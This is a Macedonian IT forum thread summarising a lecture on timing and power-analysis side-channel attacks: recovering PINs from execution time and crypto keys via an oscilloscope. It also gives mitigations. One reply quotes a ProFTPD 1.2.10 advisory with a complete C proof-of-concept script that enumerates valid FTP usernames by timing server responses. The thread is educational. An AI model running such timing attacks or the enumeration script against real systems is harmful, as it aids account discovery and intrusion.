• Здраво и добредојдовте на форумот на IT.mk.

    Доколку сеуште не сте дел од најголемата заедница на ИТ професионалци и ентузијасти во Македонија, можете бесплатно да се - процесот нема да ви одземе повеќе од 2-3 минути, а за полесна регистрација овозможивме и регистрирање со Facebook и Steam.

Предавање: Security Holes

  • Ја почнал/а темата
  • #1

StarBuck

Intern
16 февруари 2008
1,295
48
Берлин
StarBuck's setup  
Processor & Cooler
Quad-Core Intel Xeon E5 3,7
Storage
256 GB SSD
RAM
12 GB DDR3-RAM
Video card
Dual AMD FirePro D300 GDDR5 4GB
Monitor
IPS
OS
Yosemite
Пред некој ден имав интересно предавање од млад дечко од Србија што моментално работи за Сони Ериксон во одделот за security, па сакав со вас да споделам два нови методи што тој ни ги кажа, со кои се загрозуваат системи за безбедност.

1. Execution Time
Оваа методологија ја имаат некои искористено за пробивање на пин кодови, како на пример што се пиновите за кредитни картички и слично.
Тоа што некои успеале да направат е следново:
-Имаат апликација која го мери execution time-от на друга апликација
-Првиот пат, пинот го внесуваат како 0000 и мерат кое е времето на екзекуција (пример 0.01 секунда)
-Вториот пат внесуваат 1000 и мерат (пример 0.03 секунда повторно)
-Третиот пат внесуваат 2000 и мерат (пример 0.01 секунди)
-Четвриот пат внесуваат 3000 и мерат (пример 0.02 секунди)
-Постапката се повторува и се гледа за кои од 10те први бројки за пинот времето на егзекуција е најголемо, пример за бројот 1000 во овој случај.
-Потоа се продолжува со наредните 3 цифри, земајќи ја првата цифра како 1, и на крајот се добива валидниот пин.

2. Hardware vs CryptoSystems
Ова е начин на пробивање на систем за енкрипција, на кои клучот (encryption key) им е скриен во самиот систем, и неможе да се екстрактира. Овие системи се користат така што како инпут давате некoj plain text, системот го енкриптира и добиваte cypher text. Начинот на кој што овие системи можат да се пробијат е следниот:
-За системот се конектира осцилоскоп, кој го мери севкупниот output на системот.
-На системот му се предава некој plain text
-Се мери износот добиен од осцилоскопот додека системот го енкриптира текстот
-Се добива некој граф што личи на следното:



-На прв поглед нема никакво значење, меѓутоа после неколку различни "интервенции", може да се добие нешто што е налик на овој граф



-Од тука е многу јасно, секоја ниска точка е 0, висока 1... Од целиот output може да се добие 01100101001... итн, и ете го клучот :)

Не се радувајте пред време, затоа што овие слабости на системите можат да се поправат на следите начини:

1. Општо познато е дека програмите имаат различни патеки по кои можат да се егзекутираат, и нормално е дека за секоја од нив е потребно различно време. Ова може да се избегне со додавање неколку реда код, кои ќе се осигураат дека секоја execution path на програмата ќе трае execution time + рандом време, кое нема да е поврзано со пресметките кои што програмата ги прави.

2. Криптографскиот систем може да се модифицира на начин така што износот за време на енкрипција ќе наликува на следното:



And there you have it :)
 

vik

Intern
14 април 2007
1,936
31
Very, very, very, very good.:bravo: Најмногу ми се допадна првото.
 

LiquidWorm

Администратор
26 март 2007
2,667
183
www.zeroscience.mk
Доста интересно за осцилоскопот...а првото има слични техники и од видот на enumeration нападот на валидни корисници на FTP сервер, експлоатацијата е од страна на колегата Леон Јураниќ од INFIGO...

/*
Details
Vulnerable Systems:
* ProFTPD Version 1.2.10 and below

It is possible to determine which user names are valid, which are special, and which ones do not exist on the remote system. This can be accomplished by code execution path timing analysis attack at the ProFTPd login procedure. There is a very small (but significant) difference in time delay of code execution path between valid and non-valid user names. That can be used to remotely determine the difference between existent and non-existent users. The time delay can be measured by using a simple FTP client that will calculate elapsed time between 'USER' command sent by client, and the server response. Because of the very short response period, elapsed time should be measured in microseconds.

Proof of Concept Code:
LSS has developed simple PoC exploit that is presented here:

// ProFTPd remote users discovery based on code execution time - POC exploit
// Coded by Leon Juranic // http://www.lss.hr
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
int sock,n,y;
long dist,stat=0;
struct sockaddr_in sin;
char buf[1024], buf2[1024];
struct timeval tv, tv2;
struct timezone tz, tz2;

printf ("Proftpd remote users discovery exploitn"
" Coded by Leon / LSS Securityn"
">-------------------------------------<n");

if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }

sock = socket (AF_INET, SOCK_STREAM, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT);
sin.sin_addr.s_addr = inet_addr (argv[1]);
bzero (sin.sin_zero,8);

connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

printf ("Login time: ");
n = read (sock,buf2, sizeof(buf2));
for (y=0;y<PROBE;y++) {
gettimeofday (&tv,&tz);
snprintf (buf, sizeof(buf)-1,"USER %srn",argv[2]);
write (sock, buf, strlen(buf));
n = read (sock,buf2, sizeof(buf2));
gettimeofday (&tv2,&tz2);
dist =tv2.tv_usec - tv.tv_usec;
stat += dist;
printf (" %d |",dist);
}
printf ("nAvrg: %dn",(stat/PROBE));
close (sock);
}
Преземено од архивата на milw0rm.

:bravo: StarBuck
 
  • Ја почнал/а темата
  • #5

StarBuck

Intern
16 февруари 2008
1,295
48
Берлин
StarBuck's setup  
Processor & Cooler
Quad-Core Intel Xeon E5 3,7
Storage
256 GB SSD
RAM
12 GB DDR3-RAM
Video card
Dual AMD FirePro D300 GDDR5 4GB
Monitor
IPS
OS
Yosemite
Доста интересно за осцилоскопот...а првото има слични техники и од видот на enumeration нападот на валидни корисници на FTP сервер, експлоатацијата е од страна на колегата Леон Јураниќ од INFIGO...



Преземено од архивата на milw0rm.

:bravo: StarBuck
Хммм, интересно... Дечкото ни ги кажа како два случаја што биле нови во таа област, така да не знаев дека имало нешто слично :)
 

Aleks

Gaining Experience
18 мај 2007
5,748
288
Многу е интересно тоа со осцилоскопот ... и другиот начин е интересен ... А да не знае некој како се конектира осцилоскопот? на излез на што? Некој порт или ?
 
  • Ја почнал/а темата
  • #8

StarBuck

Intern
16 февруари 2008
1,295
48
Берлин
StarBuck's setup  
Processor & Cooler
Quad-Core Intel Xeon E5 3,7
Storage
256 GB SSD
RAM
12 GB DDR3-RAM
Video card
Dual AMD FirePro D300 GDDR5 4GB
Monitor
IPS
OS
Yosemite
Многу е интересно тоа со осцилоскопот ... и другиот начин е интересен ... А да не знае некој како се конектира осцилоскопот? на излез на што? Некој порт или ?
Не се разбирам до толку во хардвер, ама знам дека ти требаат 3-4 различни парчиња, не е само осцилоскопот...
 

386ka

Gaining Experience
22 декември 2007
2,365
193
Многу ми се допаѓа темава особено првиот и четвртиот пост!:bravo::bravo:
 

maximilian

Gaining Experience
26 март 2008
1,064
74
Доста интересно, мене особено ми беше интересен првиот случај, на некој му текнало на полесен начин да пробива пинови :). Како и да е, многу добра тема и интересни информации.

@StarBuck:
:bravo::bravo::bravo::bravo::bravo:
 
  • Ја почнал/а темата
  • #13

StarBuck

Intern
16 февруари 2008
1,295
48
Берлин
StarBuck's setup  
Processor & Cooler
Quad-Core Intel Xeon E5 3,7
Storage
256 GB SSD
RAM
12 GB DDR3-RAM
Video card
Dual AMD FirePro D300 GDDR5 4GB
Monitor
IPS
OS
Yosemite
@Stane, maximilian: Pleasure's all mine ;)
 

Fico

Intern
9 март 2008
251
14
Еј стварно интересна работа. И со осцилоскопот а и богами за пиновите (ова поише ми се допадна). Бравос и фала што сподели со нас :)
 

Нови мислења

Последни Теми

Статистика

Теми
43,565
Мислења
823,434
Членови
28,072
Најнов член
josimovskii
На врв Дно